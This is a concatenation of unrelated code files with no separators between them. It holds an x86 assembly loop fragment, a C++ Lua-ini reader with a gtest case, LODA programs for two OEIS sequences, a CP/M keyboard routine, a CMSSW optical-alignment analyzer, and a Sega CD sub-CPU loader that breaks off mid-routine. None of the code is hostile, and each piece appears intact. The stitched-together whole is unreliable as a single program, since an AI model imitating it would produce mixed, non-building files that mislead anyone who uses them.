PUSH EBX MOV EBX, 10 POP EAX CMP EAX, EBX Call binop_jg CMP EBX, False JE EXIT_d458 MOV EBX, [y_823a] PUSH EBX CALL print MOV EBX, [y_823a] PUSH EBX MOV EBX, 1 POP EAX SUB EAX, EBX MOV EBX, EAX MOV [y_823a], EBX JMP LOOP_d458 EXIT_d458: MOV EAX, 1 INT 0x80
#include "LoadLuaFile.h" #include <map> #include <utility> #include <fstream> #include <sstream> #include <gtest/gtest.h> #include <glog/logging.h> namespace { const std::string lua_root = "/home/me/CLionProjects/ngserver/ngserver/LuaState/Lua"; const std::string lua_ini = lua_root + "/lua.ini"; } namespace LuaState { std::map<int, std::string> GetLuaPath() { std::map<int, std::string> lua_map; std::fstream fi(lua_ini); std::string line; bool flag = false; while (std::getline(fi, line)) { if (flag) { lua_map.insert(std::pair<int, std::string> (std::stoi(line.substr(0, line.find('='))), line.substr(line.find('=') + 1))); } if (line == "[MOD]") { flag = true; } } fi.close(); return lua_map; }; std::string GetLuaRoot() { return lua_root; } std::string GetLuaIni() { return lua_ini; } TEST(LuaState, GetLuaPath) { std::map<int, std::string> lua_map; lua_map = GetLuaPath(); std::map<int, std::string>::iterator it; for (it = lua_map.begin(); it != lua_map.end(); it++) { // LOG(INFO) << it->first << " " << it->second; } } }
; A118649: Row sums for A106597. ; Submitted by Jamie Morken(s1) ; 1,2,5,12,30,74,184,456,1132,2808,6968,17288,42896,106432,264080,655232,1625760,4033824,10008704,24833536,61616832,152883328,379333248,941199488,2335298816,5794330112,14376858880,35671780352,88508618240 add $0,1 mov $3,1 lpb $0 sub $0,1 add $2,$3 mov $3,$1 mov $1,$2 mul $1,2 add $4,$2 mov $2,$4 add $2,1 lpe div $2,2 mov $0,$2
; ; CPM Stdio ; ; getk() Read key status ; ; Stefano Bodrato - Apr. 2000 ; Stefano Bodrato - Mar. 2004 - fixed ; ; ; $Id: getk.asm,v 1.7 2016/03/06 21:36:52 dom Exp $ ; SECTION code_clib PUBLIC getk PUBLIC _getk .getk ._getk LD c,6 ld e,255 call 5 ld h,0 ld l,a ret
#include "FWCore/ServiceRegistry/interface/Service.h" #include "CondCore/DBOutputService/interface/PoolDBOutputService.h" #include "CondFormats/DataRecord/interface/OpticalAlignmentsRcd.h" #include "CondFormats/OptAlignObjects/interface/OpticalAlignMeasurementInfo.h" #include <DD4hep/DD4hepUnits.h> #include "DetectorDescription/DDCMS/interface/DDCompactView.h" #include "DetectorDescription/DDCMS/interface/DDFilteredView.h" #include "FWCore/ParameterSet/interface/ParameterSet.h" #include "FWCore/Framework/interface/ESHandle.h" #include "FWCore/Framework/interface/ESTransientHandle.h" #include "FWCore/Framework/interface/Event.h" #include "FWCore/Framework/interface/EventSetup.h" #include "FWCore/Framework/interface/MakerMacros.h" #include "Geometry/Records/interface/IdealGeometryRecord.h" #include "Alignment/CocoaUtilities/interface/ALIUtils.h" #include "Alignment/CocoaModel/interface/Model.h" #include "Alignment/CocoaFit/interface/Fit.h" #include "Alignment/CocoaModel/interface/Entry.h" #include "Alignment/CocoaUtilities/interface/ALIFileOut.h" #include "Alignment/CocoaModel/interface/CocoaDaqReaderRoot.h" #include "Alignment/CocoaModel/interface/OpticalObject.h" #include "Alignment/CocoaUtilities/interface/GlobalOptionMgr.h" #include "Alignment/CocoaFit/interface/CocoaDBMgr.h" #include "FWCore/Framework/interface/one/EDAnalyzer.h" #include "DetectorDescription/DDCMS/interface/DDSpecParRegistry.h" #include "CondFormats/OptAlignObjects/interface/OpticalAlignments.h" #include "CondFormats/OptAlignObjects/interface/OpticalAlignMeasurements.h" class CocoaAnalyzer : public edm::one::EDAnalyzer<edm::one::SharedResources> { public: explicit CocoaAnalyzer(edm::ParameterSet const& p); explicit CocoaAnalyzer(int i) {} ~CocoaAnalyzer() override {} void beginJob() override; void analyze(const edm::Event& e, const edm::EventSetup& c) override; private: void readXMLFile(const edm::EventSetup& evts); std::vector<OpticalAlignInfo> readCalibrationDB(const edm::EventSetup& evts); void correctAllOpticalAlignments(std::vector<OpticalAlignInfo>& allDBOpticalAlignments); void correctOpticalAlignmentParameter(OpticalAlignParam& myXMLParam, const OpticalAlignParam& myDBParam); void runCocoa(); private: OpticalAlignments oaList_; OpticalAlignMeasurements measList_; std::string theCocoaDaqRootFileName_; }; CocoaAnalyzer::CocoaAnalyzer(edm::ParameterSet const& pset) { theCocoaDaqRootFileName_ = pset.getParameter<std::string>("cocoaDaqRootFile"); int maxEvents = pset.getParameter<int32_t>("maxEvents"); GlobalOptionMgr::getInstance()->setDefaultGlobalOptions(); GlobalOptionMgr::getInstance()->setGlobalOption("maxEvents", maxEvents); GlobalOptionMgr::getInstance()->setGlobalOption("writeDBAlign", 1); GlobalOptionMgr::getInstance()->setGlobalOption("writeDBOptAlign", 1); usesResource("CocoaAnalyzer"); } void CocoaAnalyzer::beginJob() {} void CocoaAnalyzer::analyze(const edm::Event& evt, const edm::EventSetup& evts) { ALIUtils::setDebugVerbosity(5); // Get ideal geometry description + measurements for simulation. readXMLFile(evts); // Correct ideal geometry with data from DB. std::vector<OpticalAlignInfo> oaListCalib = readCalibrationDB(evts); correctAllOpticalAlignments(oaListCalib); // Run the least-squared fit and store results in DB. runCocoa(); } /* * This is used to create the ideal geometry description from the XMLs. * Also get measurements from XMLs for simulation. * Resulting optical alignment info is stored in oaList_ and measList_. */ void CocoaAnalyzer::readXMLFile(const edm::EventSetup& evts) { edm::ESTransientHandle<cms::DDCompactView> myCompactView; evts.get<IdealGeometryRecord>().get(myCompactView); const cms::DDDetector* mySystem = myCompactView->detector(); if (mySystem) { // Always store world volume first. const dd4hep::Volume& worldVolume = mySystem->worldVolume(); if (ALIUtils::debug >= 3) { edm::LogInfo("Alignment") << "CocoaAnalyzer::ReadXML: world object = " << worldVolume.name(); } OpticalAlignInfo worldInfo; worldInfo.ID_ = 0; worldInfo.name_ = worldVolume.name(); worldInfo.type_ = "system"; worldInfo.parentName_ = ""; worldInfo.x_.value_ = 0.; worldInfo.x_.error_ = 0.; worldInfo.x_.quality_ = 0; worldInfo.y_.value_ = 0.; worldInfo.y_.error_ = 0.; worldInfo.y_.quality_ = 0; worldInfo.z_.value_ = 0.; worldInfo.z_.error_ = 0.; worldInfo.z_.quality_ = 0; worldInfo.angx_.value_ = 0.; worldInfo.angx_.error_ = 0.; worldInfo.angx_.quality_ = 0; worldInfo.angy_.value_ = 0.; worldInfo.angy_.error_ = 0.; worldInfo.angy_.quality_ = 0; worldInfo.angz_.value_ = 0.; worldInfo.angz_.error_ = 0.; worldInfo.angz_.quality_ = 0; oaList_.opticalAlignments_.emplace_back(worldInfo); // This gathers all the 'SpecPar' sections from the loaded XMLs. // NB: Definition of a SpecPar section: // It is a block in the XML file(s), containing paths to specific volumes, // and ALLOWING THE ASSOCIATION OF SPECIFIC PARAMETERS AND VALUES TO THESE VOLUMES. const cms::DDSpecParRegistry& allSpecParSections = myCompactView->specpars(); // CREATION OF A COCOA FILTERED VIEW // Creation of the dd4hep-based filtered view. // NB: not filtered yet! cms::DDFilteredView myFilteredView(mySystem, worldVolume); // Declare a container which will gather all the filtered SpecPar sections. cms::DDSpecParRefs cocoaParameterSpecParSections; // Define a COCOA filter const std::string cocoaParameterAttribute = "COCOA"; const std::string cocoaParameterValue = "COCOA"; // All the COCOA SpecPar sections are filtered from allSpecParSections, // and assigned to cocoaParameterSpecParSections. allSpecParSections.filter(cocoaParameterSpecParSections, cocoaParameterAttribute, cocoaParameterValue); // This finally allows to filter the filtered view, with the COCOA filter. // This means that we now have, in myFilteredView, all volumes whose paths were selected: // ie all volumes with "COCOA" parameter and value in a SpecPar section from a loaded XML. myFilteredView.mergedSpecifics(cocoaParameterSpecParSections); // Loop on parts int nObjects = 0; bool doCOCOA = myFilteredView.firstChild(); // Loop on all COCOA volumes from filtered view while (doCOCOA) { ++nObjects; OpticalAlignInfo oaInfo; OpticalAlignParam oaParam; OpticalAlignMeasurementInfo oaMeas; // Current volume const dd4hep::PlacedVolume& myPlacedVolume = myFilteredView.volume(); const std::string& name = myPlacedVolume.name(); const std::string& nodePath = myFilteredView.path(); oaInfo.name_ = nodePath; // Parent name oaInfo.parentName_ = nodePath.substr(0, nodePath.rfind('/', nodePath.length())); if (ALIUtils::debug >= 4) { edm::LogInfo("Alignment") << " CocoaAnalyzer::ReadXML reading object " << name; edm::LogInfo("Alignment") << " @@ Name built= " << oaInfo.name_ << " short_name= " << name << " parent= " << oaInfo.parentName_; } // TRANSLATIONS // A) GET TRANSLATIONS FROM DDETECTOR. // Directly get translation from parent to child volume const dd4hep::Direction& transl = myPlacedVolume.position(); if (ALIUtils::debug >= 4) { edm::LogInfo("Alignment") << "Local translation in dd4hep units = " << transl; } // B) READ INFO FROM XMLS // X oaInfo.x_.name_ = "X"; oaInfo.x_.dim_type_ = "centre"; oaInfo.x_.value_ = transl.x() / dd4hep::m; // COCOA units are m oaInfo.x_.error_ = cms::getParameterValueFromSpecParSections<double>(allSpecParSections, nodePath, "centre_X_sigma", 0) / dd4hep::m; // COCOA units are m oaInfo.x_.quality_ = static_cast<int>( cms::getParameterValueFromSpecParSections<double>(allSpecParSections, nodePath, "centre_X_quality", 0)); // Y oaInfo.y_.name_ = "Y"; oaInfo.y_.dim_type_ = "centre"; oaInfo.y_.value_ = transl.y() / dd4hep::m; // COCOA units are m oaInfo.y_.error_ = cms::getParameterValueFromSpecParSections<double>(allSpecParSections, nodePath, "centre_Y_sigma", 0) / dd4hep::m; // COCOA units are m oaInfo.y_.quality_ = static_cast<int>( cms::getParameterValueFromSpecParSections<double>(allSpecParSections, nodePath, "centre_Y_quality", 0)); // Z oaInfo.z_.name_ = "Z"; oaInfo.z_.dim_type_ = "centre"; oaInfo.z_.value_ = transl.z() / dd4hep::m; // COCOA units are m oaInfo.z_.error_ = cms::getParameterValueFromSpecParSections<double>(allSpecParSections, nodePath, "centre_Z_sigma", 0) / dd4hep::m; // COCOA units are m oaInfo.z_.quality_ = static_cast<int>( cms::getParameterValueFromSpecParSections<double>(allSpecParSections, nodePath, "centre_Z_quality", 0)); // ROTATIONS // A) GET ROTATIONS FROM DDETECTOR. // Unlike in the initial code, here we manage to directly get the rotation matrix placement // of the child in parent, EXPRESSED IN THE PARENT FRAME OF REFERENCE. // Hence the (ugly) initial block of code is replaced by just 2 lines. // PlacedVolume::matrix() returns the rotation matrix IN THE PARENT FRAME OF REFERENCE. // NB: Not using DDFilteredView::rotation(), // because it returns the rotation matrix IN THE WORLD FRAME OF REFERENCE. const TGeoHMatrix parentToChild = myPlacedVolume.matrix(); // COCOA convention is FROM CHILD TO PARENT const TGeoHMatrix& childToParent = parentToChild.Inverse(); // Convert it to CLHEP::Matrix // Below is not my code, below block is untouched (apart from bug fix). // I would just directly use childToParent... const Double_t* rot = childToParent.GetRotationMatrix(); const double xx = rot[0]; const double xy = rot[1]; const double xz = rot[2]; const double yx = rot[3]; const double yy = rot[4]; const double yz = rot[5]; const double zx = rot[6]; const double zy = rot[7]; const double zz = rot[8]; if (ALIUtils::debug >= 4) { edm::LogInfo("Alignment") << "Local rotation = "; edm::LogInfo("Alignment") << xx << " " << xy << " " << xz; edm::LogInfo("Alignment") << yx << " " << yy << " " << yz; edm::LogInfo("Alignment") << zx << " " << zy << " " << zz; } const CLHEP::Hep3Vector colX(xx, yx, zx); const CLHEP::Hep3Vector colY(xy, yy, zy); const CLHEP::Hep3Vector colZ(xz, yz, zz); const CLHEP::HepRotation rotclhep(colX, colY, colZ); const std::vector<double>& angles = ALIUtils::getRotationAnglesFromMatrix(rotclhep, 0., 0., 0.); // B) READ INFO FROM XMLS // X oaInfo.angx_.name_ = "X"; oaInfo.angx_.dim_type_ = "angles"; oaInfo.angx_.value_ = cms::getParameterValueFromSpecParSections<double>(allSpecParSections, nodePath, "angles_X_value", 0); oaInfo.angx_.error_ = cms::getParameterValueFromSpecParSections<double>(allSpecParSections, nodePath, "angles_X_sigma", 0); oaInfo.angx_.quality_ = static_cast<int>( cms::getParameterValueFromSpecParSections<double>(allSpecParSections, nodePath, "angles_X_quality", 0)); // Y oaInfo.angy_.name_ = "Y"; oaInfo.angy_.dim_type_ = "angles"; oaInfo.angy_.value_ = cms::getParameterValueFromSpecParSections<double>(allSpecParSections, nodePath, "angles_Y_value", 0); oaInfo.angy_.error_ = cms::getParameterValueFromSpecParSections<double>(allSpecParSections, nodePath, "angles_Y_sigma", 0); oaInfo.angy_.quality_ = static_cast<int>( cms::getParameterValueFromSpecParSections<double>(allSpecParSections, nodePath, "angles_Y_quality", 0)); // Z oaInfo.angz_.name_ = "Z"; oaInfo.angz_.dim_type_ = "angles"; oaInfo.angz_.value_ = cms::getParameterValueFromSpecParSections<double>(allSpecParSections, nodePath, "angles_Z_value", 0); oaInfo.angz_.error_ = cms::getParameterValueFromSpecParSections<double>(allSpecParSections, nodePath, "angles_Z_sigma", 0); oaInfo.angz_.quality_ = static_cast<int>( cms::getParameterValueFromSpecParSections<double>(allSpecParSections, nodePath, "angles_Z_quality", 0)); oaInfo.type_ = cms::getParameterValueFromSpecParSections<std::string>(allSpecParSections, nodePath, "cocoa_type", 0); oaInfo.ID_ = static_cast<int>( cms::getParameterValueFromSpecParSections<double>(allSpecParSections, nodePath, "cmssw_ID", 0)); if (ALIUtils::debug >= 4) { edm::LogInfo("Alignment") << "CocoaAnalyzer::ReadXML OBJECT " << oaInfo.name_ << " pos/angles read "; } // Check that rotations match with values from XMLs. // Same, that ugly code is not mine ;p if (fabs(oaInfo.angx_.value_ - angles[0]) > 1.E-9 || fabs(oaInfo.angy_.value_ - angles[1]) > 1.E-9 || fabs(oaInfo.angz_.value_ - angles[2]) > 1.E-9) { edm::LogError("Alignment") << " WRONG ANGLE IN OBJECT " << oaInfo.name_ << oaInfo.angx_.value_ << " =? " << angles[0] << oaInfo.angy_.value_ << " =? " << angles[1] << oaInfo.angz_.value_ << " =? " << angles[2]; } // EXTRA PARAM ENTRIES (FROM XMLS) // Here initial code to define the containers was fully removed, this is much more compact. const std::vector<std::string>& names = cms::getAllParameterValuesFromSpecParSections<std::string>(allSpecParSections, nodePath, "extra_entry"); const std::vector<std::string>& dims = cms::getAllParameterValuesFromSpecParSections<std::string>(allSpecParSections, nodePath, "dimType"); const std::vector<double>& values = cms::getAllParameterValuesFromSpecParSections<double>(allSpecParSections, nodePath, "value"); const std::vector<double>& errors = cms::getAllParameterValuesFromSpecParSections<double>(allSpecParSections, nodePath, "sigma"); const std::vector<double>& quality = cms::getAllParameterValuesFromSpecParSections<double>(allSpecParSections, nodePath, "quality"); if (ALIUtils::debug >= 4) { edm::LogInfo("Alignment") << " CocoaAnalyzer::ReadXML: Fill extra entries with read parameters "; } if (names.size() == dims.size() && dims.size() == values.size() && values.size() == errors.size() && errors.size() == quality.size()) { for (size_t i = 0; i < names.size(); ++i) { double dimFactor = 1.; const std::string& type = dims[i]; if (type == "centre" || type == "length") { dimFactor = 1. / dd4hep::m; // was converted to dd4hep unit with getParameterValueFromSpecPar, COCOA unit is m } else if (type == "angles" || type == "angle" || type == "nodim") { dimFactor = 1.; } oaParam.value_ = values[i] * dimFactor; oaParam.error_ = errors[i] * dimFactor; oaParam.quality_ = static_cast<int>(quality[i]); oaParam.name_ = names[i]; oaParam.dim_type_ = dims[i]; oaInfo.extraEntries_.emplace_back(oaParam); oaParam.clear(); } oaList_.opticalAlignments_.emplace_back(oaInfo); } else { edm::LogInfo("Alignment") << "WARNING FOR NOW: sizes of extra parameters (names, dimType, value, quality) do" << " not match! Did not add " << nObjects << " item to OpticalAlignments."; } // MEASUREMENTS (FROM XMLS) const std::vector<std::string>& measNames = cms::getAllParameterValuesFromSpecParSections<std::string>(allSpecParSections, nodePath, "meas_name"); const std::vector<std::string>& measTypes = cms::getAllParameterValuesFromSpecParSections<std::string>(allSpecParSections, nodePath, "meas_type"); std::map<std::string, std::vector<std::string>> measObjectNames; std::map<std::string, std::vector<std::string>> measParamNames; std::map<std::string, std::vector<double>> measParamValues; std::map<std::string, std::vector<double>> measParamSigmas; std::map<std::string, std::vector<double>> measIsSimulatedValue; for (const auto& name : measNames) { measObjectNames[name] = cms::getAllParameterValuesFromSpecParSections<std::string>( allSpecParSections, nodePath, "meas_object_name_" + name); measParamNames[name] = cms::getAllParameterValuesFromSpecParSections<std::string>( allSpecParSections, nodePath, "meas_value_name_" + name); measParamValues[name] = cms::getAllParameterValuesFromSpecParSections<double>(allSpecParSections, nodePath, "meas_value_" + name); measParamSigmas[name] = cms::getAllParameterValuesFromSpecParSections<double>(allSpecParSections, nodePath, "meas_sigma_" + name); measIsSimulatedValue[name] = cms::getAllParameterValuesFromSpecParSections<double>( allSpecParSections, nodePath, "meas_is_simulated_value_" + name); } if (ALIUtils::debug >= 4) { edm::LogInfo("Alignment") << " CocoaAnalyzer::ReadXML: Fill measurements with read parameters "; } if (measNames.size() == measTypes.size()) { for (size_t i = 0; i < measNames.size(); ++i) { oaMeas.ID_ = i; oaMeas.name_ = measNames[i]; oaMeas.type_ = measTypes[i]; oaMeas.measObjectNames_ = measObjectNames[oaMeas.name_]; if (measParamNames.size() == measParamValues.size() && measParamValues.size() == measParamSigmas.size()) { for (size_t i2 = 0; i2 < measParamNames[oaMeas.name_].size(); i2++) { oaParam.name_ = measParamNames[oaMeas.name_][i2]; oaParam.value_ = measParamValues[oaMeas.name_][i2]; oaParam.error_ = measParamSigmas[oaMeas.name_][i2]; oaParam.quality_ = 2; if (oaMeas.type_ == "SENSOR2D" || oaMeas.type_ == "COPS" || oaMeas.type_ == "DISTANCEMETER" || oaMeas.type_ == "DISTANCEMETER!DIM" || oaMeas.type_ == "DISTANCEMETER3DIM") { oaParam.dim_type_ = "length"; } else if (oaMeas.type_ == "TILTMETER") { oaParam.dim_type_ = "angle"; } else { edm::LogError("Alignment") << "CocoaAnalyzer::readXMLFile. Invalid measurement type: " << oaMeas.type_; } oaMeas.values_.emplace_back(oaParam); oaMeas.isSimulatedValue_.emplace_back(measIsSimulatedValue[oaMeas.name_][i2]); if (ALIUtils::debug >= 5) { edm::LogInfo("Alignment") << oaMeas.name_ << " copying issimu " << oaMeas.isSimulatedValue_[oaMeas.isSimulatedValue_.size() - 1] << " = " << measIsSimulatedValue[oaMeas.name_][i2]; } oaParam.clear(); } } else { if (ALIUtils::debug >= 2) { edm::LogWarning("Alignment") << "WARNING FOR NOW: sizes of measurement parameters (name, value, sigma) do" << " not match! for measurement " << oaMeas.name_ << " !Did not fill parameters for this measurement "; } } measList_.oaMeasurements_.emplace_back(oaMeas); if (ALIUtils::debug >= 5) { edm::LogInfo("Alignment") << "CocoaAnalyser: MEASUREMENT " << oaMeas.name_ << " extra entries read " << oaMeas; } oaMeas.clear(); } } else { if (ALIUtils::debug >= 2) { edm::LogWarning("Alignment") << "WARNING FOR NOW: sizes of measurements (names, types do" << " not match! Did not add " << nObjects << " item to XXXMeasurements"; } } oaInfo.clear(); doCOCOA = myFilteredView.firstChild(); } // while (doCOCOA) if (ALIUtils::debug >= 3) { edm::LogInfo("Alignment") << "CocoaAnalyzer::ReadXML: Finished building " << nObjects + 1 << " OpticalAlignInfo objects" << " and " << measList_.oaMeasurements_.size() << " OpticalAlignMeasurementInfo objects "; } if (ALIUtils::debug >= 5) { edm::LogInfo("Alignment") << " @@@@@@ OpticalAlignments " << oaList_; edm::LogInfo("Alignment") << " @@@@@@ OpticalMeasurements " << measList_; } } } /* * This is used to get the OpticalAlignInfo from DB, * which can be used to correct the OpticalAlignInfo from IdealGeometry. */ std::vector<OpticalAlignInfo> CocoaAnalyzer::readCalibrationDB(const edm::EventSetup& evts) { if (ALIUtils::debug >= 3) { edm::LogInfo("Alignment") << "$$$ CocoaAnalyzer::readCalibrationDB: "; } using namespace edm::eventsetup; edm::ESHandle<OpticalAlignments> pObjs; evts.get<OpticalAlignmentsRcd>().get(pObjs); const std::vector<OpticalAlignInfo>& infoFromDB = pObjs.product()->opticalAlignments_; if (ALIUtils::debug >= 5) { edm::LogInfo("Alignment") << "CocoaAnalyzer::readCalibrationDB: Number of OpticalAlignInfo READ " << infoFromDB.size(); for (const auto& myInfoFromDB : infoFromDB) { edm::LogInfo("Alignment") << "CocoaAnalyzer::readCalibrationDB: OpticalAlignInfo READ " << myInfoFromDB; } } return infoFromDB; } /* * Correct all OpticalAlignInfo from IdealGeometry with values from DB. */ void CocoaAnalyzer::correctAllOpticalAlignments(std::vector<OpticalAlignInfo>& allDBOpticalAlignments) { if (ALIUtils::debug >= 3) { edm::LogInfo("Alignment") << "$$$ CocoaAnalyzer::correctAllOpticalAlignments: "; } for (const auto& myDBInfo : allDBOpticalAlignments) { if (ALIUtils::debug >= 5) { edm::LogInfo("Alignment") << "CocoaAnalyzer::findOpticalAlignInfoXML: Looking for OAI " << myDBInfo.name_; } std::vector<OpticalAlignInfo>& allXMLOpticalAlignments = oaList_.opticalAlignments_; const auto& myXMLInfo = std::find_if( allXMLOpticalAlignments.begin(), allXMLOpticalAlignments.end(), [&](const auto& myXMLInfoCandidate) { return myXMLInfoCandidate.name_ == myDBInfo.name_; }); if (myXMLInfo != allXMLOpticalAlignments.end()) { if (ALIUtils::debug >= 4) { edm::LogInfo("Alignment") << "CocoaAnalyzer::findOpticalAlignInfoXML: OAI found " << myXMLInfo->name_; edm::LogInfo("Alignment") << "CocoaAnalyzer::correctAllOpticalAlignments: correcting data from XML with DB info."; } correctOpticalAlignmentParameter(myXMLInfo->x_, myDBInfo.x_); correctOpticalAlignmentParameter(myXMLInfo->y_, myDBInfo.y_); correctOpticalAlignmentParameter(myXMLInfo->z_, myDBInfo.z_); correctOpticalAlignmentParameter(myXMLInfo->angx_, myDBInfo.angx_); correctOpticalAlignmentParameter(myXMLInfo->angy_, myDBInfo.angy_); correctOpticalAlignmentParameter(myXMLInfo->angz_, myDBInfo.angz_); // Also correct extra entries const std::vector<OpticalAlignParam>& allDBExtraEntries = myDBInfo.extraEntries_; std::vector<OpticalAlignParam>& allXMLExtraEntries = myXMLInfo->extraEntries_; for (const auto& myDBExtraEntry : allDBExtraEntries) { const auto& myXMLExtraEntry = std::find_if( allXMLExtraEntries.begin(), allXMLExtraEntries.end(), [&](const auto& myXMLExtraEntryCandidate) { return myXMLExtraEntryCandidate.name_ == myDBExtraEntry.name_; }); if (myXMLExtraEntry != allXMLExtraEntries.end()) { correctOpticalAlignmentParameter(*myXMLExtraEntry, myDBExtraEntry); } else { if (myDBExtraEntry.name_ != "None") { if (ALIUtils::debug >= 2) { edm::LogError("Alignment") << "CocoaAnalyzer::correctAllOpticalAlignments: extra entry read from DB is not present in XML " << myDBExtraEntry << " in object " << myDBInfo; } } } } if (ALIUtils::debug >= 5) { edm::LogInfo("Alignment") << "CocoaAnalyzer::correctAllOpticalAlignments: corrected OpticalAlingInfo " << oaList_; } } else { if (ALIUtils::debug >= 2) { edm::LogError("Alignment") << "CocoaAnalyzer::correctAllOpticalAlignments: OpticalAlignInfo read from DB " << myDBInfo << " is not present in XML."; } } } } /* * Correct an OpticalAlignment parameter from IdealGeometry with the value from DB. */ void CocoaAnalyzer::correctOpticalAlignmentParameter(OpticalAlignParam& myXMLParam, const OpticalAlignParam& myDBParam) { if (myDBParam.value_ != -9.999E9) { const std::string& type = myDBParam.dimType(); double dimFactor = 1.; if (type == "centre" || type == "length") { dimFactor = 1. / dd4hep::m; // in DB values are stored in dd4hep unit } else if (type == "angles" || type == "angle" || type == "nodim") { dimFactor = 1.; } else { edm::LogError("Alignment") << "Incorrect OpticalAlignParam type = " << type; } const double correctedValue = myDBParam.value_ * dimFactor; if (ALIUtils::debug >= 4) { edm::LogInfo("Alignment") << "CocoaAnalyzer::correctOpticalAlignmentParameter old value= " << myXMLParam.value_ << " new value= " << correctedValue; } myXMLParam.value_ = correctedValue; } } /* * Collect all information, do the fitting, and store results in DB. */ void CocoaAnalyzer::runCocoa() { if (ALIUtils::debug >= 3) { edm::LogInfo("Alignment") << "$$$ CocoaAnalyzer::runCocoa: "; } // Geometry model built from XML file (corrected with values from DB) Model& model = Model::getInstance(); model.BuildSystemDescriptionFromOA(oaList_); if (ALIUtils::debug >= 3) { edm::LogInfo("Alignment") << "$$ CocoaAnalyzer::runCocoa: geometry built "; } // Build measurements model.BuildMeasurementsFromOA(measList_); if (ALIUtils::debug >= 3) { edm::LogInfo("Alignment") << "$$ CocoaAnalyzer::runCocoa: measurements built "; } // Do fit and store results in DB Fit::getInstance(); Fit::startFit(); if (ALIUtils::debug >= 0) edm::LogInfo("Alignment") << "............ program ended OK"; if (ALIUtils::report >= 1) { ALIFileOut& fileout = ALIFileOut::getInstance(Model::ReportFName()); fileout << "............ program ended OK"; } } DEFINE_FWK_MODULE(CocoaAnalyzer);
; A187791: Repeat n+1 times 2^A005187(n). ; 1,2,2,8,8,8,16,16,16,16,128,128,128,128,128,256,256,256,256,256,256,1024,1024,1024,1024,1024,1024,1024,2048,2048,2048,2048,2048,2048,2048,2048,32768,32768,32768,32768,32768,32768,32768,32768,32768,65536,65536,65536,65536,65536,65536,65536,65536,65536,65536 seq $0,3056 ; n appears n+1 times. Also the array A(n,k) = n+k (n >= 0, k >= 0) read by antidiagonals. Also inverse of triangular numbers. seq $0,101926 ; a(n) = 2^A101925(n). div $0,2
; ------------------------------------------------------------------------- ; ; Sega CD Base ; By Ralakimus 2021 ; ; ------------------------------------------------------------------------- include "../include/subcpu.asm" ; ------------------------------------------------------------------------- ; Constants ; ------------------------------------------------------------------------- ROOT_DIR EQU $8000 ; Root directory buffer ; ------------------------------------------------------------------------- ; Header ; ------------------------------------------------------------------------- org SP_START dc.b "MAIN RALA ", 0 dc.w $0001, $0000 dc.l $00000000 dc.l $00000000 dc.l $00000020 dc.l $00000000 dc.w SP_Init-(SP_START+$20) dc.w SP_Main-(SP_START+$20) dc.w SP_Int2-(SP_START+$20) dc.w SP_Null-(SP_START+$20) dc.w 0 ; ------------------------------------------------------------------------- ; Initialization ; ------------------------------------------------------------------------- SP_Init: andi.b #$E2,GA_MEM_MODE+1.w ; Disable priority mode, set to 2M mode SP_Null: rts ; ------------------------------------------------------------------------- ; Main ; ------------------------------------------------------------------------- SP_Main: BIOS_CDBSTAT ; Check the BIOS move.w (a0),d0 andi.w #$F000,d0 ; Is it ready? bne.s SP_Main ; If not, wait lea BIOSParams(pc),a0 ; Initialize the drive BIOS_DRVINIT BIOS_CDCSTOP ; Stop CDC ; Stop CDDA lea CDReadVars(pc),a6 ; Read primary volume descriptor bsr.w ReadCD move.l ROOT_DIR+$A2,(a6) ; Get root directory move.l ROOT_DIR+$AA,d0 moveq #11,d1 lsr.l d1,d0 move.l d0,4(a6) move.l #ROOT_DIR,8(a6) bsr.w ReadCD lea .MainProgram(pc),a0 ; Load Main CPU program file lea PRG_RAM+$40000,a1 bsr.w ReadFile .WaitWordRAM: btst #1,GA_MEM_MODE+1.w ; Wait for Word RAM access beq.s .WaitWordRAM lea PRG_RAM+$40000,a0 ; Copy Main CPU program to Word RAM lea WORDRAM_2M,a1 move.w #filesize("_files/MAINPRG.MCD")/4-1,d0 .CopyMainPrg: move.l (a0)+,(a1)+ dbf d0,.CopyMainPrg .SendWordRAM: ; Give the Main CPU Word RAM bset #0,GA_MEM_MODE+1.w beq.s .SendWordRAM .WaitMain: cmpi.b #"R",GA_MAIN_FLAG.w ; Is the Main CPU done with the security code? bne.s .WaitMain ; If not, branch move.b #"G",GA_SUB_FLAG.w ; Tell the Main CPU we got the memo .WaitMain2: tst.b GA_MAIN_FLAG.w ; Is the Main CPU ready to send commands? bne.s .WaitMain2 ; If not, branch move.b #"R",GA_SUB_FLAG.w ; Mark as ready to retrieve commands ; ------------------------------------------------------------------------- .WaitCommand: moveq #0,d0 move.b GA_MAIN_FLAG.w,d0 ; Get command ID beq.s .WaitCommand ; Wait if we if the ID is 0 move.b #"B",GA_SUB_FLAG.w ; Mark as busy .WaitMain3: tst.b GA_MAIN_FLAG.w ; Is the Main CPU ready to send commands again? bne.s .WaitMain3 ; If not, branch add.w d0,d0 ; Go to command add.w d0,d0 jsr .Commands-4(pc,d0.w) move.b #"R",GA_SUB_FLAG.w ; Mark as ready bra.s .WaitCommand ; Loop ; ------------------------------------------------------------------------- ; Commands ; ------------------------------------------------------------------------- .Commands: bra.w SP_PlayCDDA ; Play CDDA music bra.w SP_LoopCDDA ; Loop CDDA music bra.w SP_StopCDDA ; Stop CDDA music bra.w SP_LoadFile ; Load file bra.w SP_ReqWordRAM ; Request Word RAM access bra.w SP_ASICRender ; Start ASIC rendering bra.w SP_CheckASIC ; Check ASIC status ; ------------------------------------------------------------------------- .MainProgram: dc.b "MAINPRG.MCD", 0 ; Main program file even ; ------------------------------------------------------------------------- ; Prepare to play CDDA music ; ------------------------------------------------------------------------- PrepareCDDA: BIOS_MSCSTOP ; Stop any other music lea BIOSParams(pc),a0 ; Set the new track move.w GA_CMD_0.w,(a0) rts ; ------------------------------------------------------------------------- ; Command to play CDDA music ; ------------------------------------------------------------------------- ; PARAMETERS: ; Cmd 0 - Track ID ; ------------------------------------------------------------------------- SP_PlayCDDA: bsr.s PrepareCDDA ; Prepare to play PlayCCDA2: BIOS_MSCPLAY ; Play the music track SP_WaitCDDA: BIOS_CDBSTAT ; Check the BIOS move.w (a0),d0 andi.w #$FF00,d0 ; Is it done seeking? cmpi.w #$800,d0 beq.s SP_WaitCDDA ; If not, wait cmpi.w #$100,d0 ; Is it playing yet? bne.s SP_WaitCDDA ; If not, wait rts ; ------------------------------------------------------------------------- ; Command to loop CDDA music ; ------------------------------------------------------------------------- ; PARAMETERS: ; Cmd 0 - Track ID ; ------------------------------------------------------------------------- SP_LoopCDDA: bsr.s PrepareCDDA ; Prepare to play BIOS_MSCPLAYR ; Play the music track bra.s SP_WaitCDDA ; 